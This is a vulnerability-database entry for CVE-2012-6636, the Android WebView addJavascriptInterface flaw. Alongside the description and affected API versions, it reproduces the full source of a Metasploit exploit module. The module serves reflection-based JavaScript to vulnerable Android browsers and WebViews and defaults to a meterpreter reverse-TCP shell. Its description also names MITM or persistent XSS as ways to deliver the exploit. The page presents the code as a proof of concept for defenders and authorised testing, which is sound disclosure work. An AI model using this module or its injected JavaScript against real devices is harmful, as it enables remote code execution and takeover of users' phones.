CVE-2012-6636

medium
Published 2014-03-03 ยท Modified 2026-04-29
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
7.8

Description

The Android API before 17 does not properly restrict the WebView.addJavascriptInterface method, which allows remote attackers to execute arbitrary methods of Java objects by using the Java Reflection API within crafted JavaScript code that is loaded into the WebView component in an application targeted to API level 16 or earlier, a related issue to CVE-2013-4710.

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-41675 local android verified ruby ยท 6 KB
Metasploit ยท 2012-12-21

Google Android 4.2 Browser and WebView - 'addJavascriptInterface' Code Execution (Metasploit)

ruby exploit Source: Exploit-DB
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/exploit/android'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::BrowserExploitServer
  include Msf::Exploit::Remote::BrowserAutopwn
  include Msf::Exploit::Android

  VULN_CHECK_JS = %Q|
    for (i in top) {
      try {
        top[i].getClass().forName('java.lang.Runtime');
        is_vuln = true; break;
      } catch(e) {}
    }
  |

  autopwn_info(
    :os_name    => OperatingSystems::Match::ANDROID,
    :arch       => ARCH_ARMLE,
    :javascript => true,
    :rank       => ExcellentRanking,
    :vuln_test  => VULN_CHECK_JS
  )

  def initialize(info = {})
    super(update_info(info,
      'Name'                => 'Android Browser and WebView addJavascriptInterface Code Execution',
      'Description'         => %q{
            This module exploits a privilege escalation issue in Android < 4.2's WebView component
          that arises when untrusted Javascript code is executed by a WebView that has one or more
          Interfaces added to it. The untrusted Javascript code can call into the Java Reflection
          APIs exposed by the Interface and execute arbitrary commands.

          Some distributions of the Android Browser app have an addJavascriptInterface
          call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs
          4.1.2 release of Android is known to be vulnerable.

          A secondary attack vector involves the WebViews embedded inside a large number
          of Android applications. Ad integrations are perhaps the worst offender here.
          If you can MITM the WebView's HTTP connection, or if you can get a persistent XSS
          into the page displayed in the WebView, then you can inject the html/js served
          by this module and get a shell.

          Note: Adding a .js to the URL will return plain javascript (no HTML markup).
      },
      'License'             => MSF_LICENSE,
      'Author'              => [
        'jduck', # original msf module
        'joev'   # static server
      ],
      'References'          => [
        ['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-addjavascriptinterface-code-execution-vulnerability/'],
        ['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'],
        ['URL', 'http://50.56.33.56/blog/?p=314'],
        ['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/'],
        ['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py'],
        ['CVE', '2012-6636'], # original CVE for addJavascriptInterface
        ['CVE', '2013-4710'], # native browser addJavascriptInterface (searchBoxJavaBridge_)
        ['EDB', '31519'],
        ['OSVDB', '97520']
      ],
      'Platform'            => ['android', 'linux'],
      'Arch'                => [ARCH_DALVIK, ARCH_X86, ARCH_ARMLE, ARCH_MIPSLE],
      'DefaultOptions'      => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' },
      'Targets'             => [ [ 'Automatic', {} ] ],
      'DisclosureDate'      => 'Dec 21 2012',
      'DefaultTarget'       => 0,
      'BrowserRequirements' => {
        :source     => 'script',
        :os_name    => OperatingSystems::Match::ANDROID,
        :vuln_test  => VULN_CHECK_JS,
        :vuln_test_error => 'No vulnerable Java objects were found in this web context.'
      }
    ))

    deregister_options('JsObfuscate')
  end

  # Hooked to prevent BrowserExploitServer from attempting to do JS detection
  # on requests for the static javascript file
  def on_request_uri(cli, req)
    if req.uri =~ /\.js/
      serve_static_js(cli, req)
    else
      super
    end
  end

  # The browser appears to be vulnerable, serve the exploit
  def on_request_exploit(cli, req, browser)
    arch = normalize_arch(browser[:arch])
    print_status "Serving #{arch} exploit..."
    send_response_html(cli, html(arch))
  end

  # Called when a client requests a .js route.
  # This is handy for post-XSS.
  def serve_static_js(cli, req)
    arch          = req.qstring['arch']
    response_opts = { 'Content-type' => 'text/javascript' }

    if arch.present?
      print_status("Serving javascript for arch #{normalize_arch arch}")
      send_response(cli, add_javascript_interface_exploit_js(normalize_arch arch), response_opts)
    else
      print_status("Serving arch detection javascript")
      send_response(cli, static_arch_detect_js, response_opts)
    end
  end

  # This is served to requests for the static .js file.
  # Because we have to use javascript to detect arch, we have 3 different
  # versions of the static .js file (x86/mips/arm) to choose from. This
  # small snippet of js detects the arch and requests the correct file.
  def static_arch_detect_js
    %Q|
      var arches = {};
      arches['#{ARCH_ARMLE}']  = /arm/i;
      arches['#{ARCH_MIPSLE}'] = /mips/i;
      arches['#{ARCH_X86}']    = /x86/i;

      var arch = null;
      for (var name in arches) {
        if (navigator.platform.toString().match(arches[name])) {
          arch = name;
          break;
        }
      }

      if (arch) {
        // load the script with the correct arch
        var script = document.createElement('script');
        script.setAttribute('src', '#{get_uri}/#{Rex::Text::rand_text_alpha(5)}.js?arch='+arch);
        script.setAttribute('type', 'text/javascript');

        // ensure body is parsed and we won't be in an uninitialized state
        setTimeout(function(){
          var node = document.body \|\| document.head;
          node.appendChild(script);
        }, 100);
      }
    |
  end

  # @return [String] normalized client architecture
  def normalize_arch(arch)
    if SUPPORTED_ARCHES.include?(arch) then arch else DEFAULT_ARCH end
  end

  def html(arch)
    "<!doctype html><html><body><script>#{add_javascript_interface_exploit_js(arch)}</script></body></html>"
  end
end

Metasploit modules

Android Browser and WebView addJavascriptInterface Code Execution
Source code queued for fetch โ€” refresh in a moment.

Application impact

VendorProductVersionsFixed
gcp googleandroid_api{"endIncluding":"16.0"}
gcp googleandroid_api1.0
gcp googleandroid_api2.0
gcp googleandroid_api3.0
gcp googleandroid_api4.0
gcp googleandroid_api5.0
gcp googleandroid_api6.0
gcp googleandroid_api7.0
gcp googleandroid_api8.0
gcp googleandroid_api9.0
gcp googleandroid_api10.0
gcp googleandroid_api11.0
gcp googleandroid_api12.0
gcp googleandroid_api13.0
gcp googleandroid_api14.0
gcp googleandroid_api15.0

References

CWEs

CWE-264

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.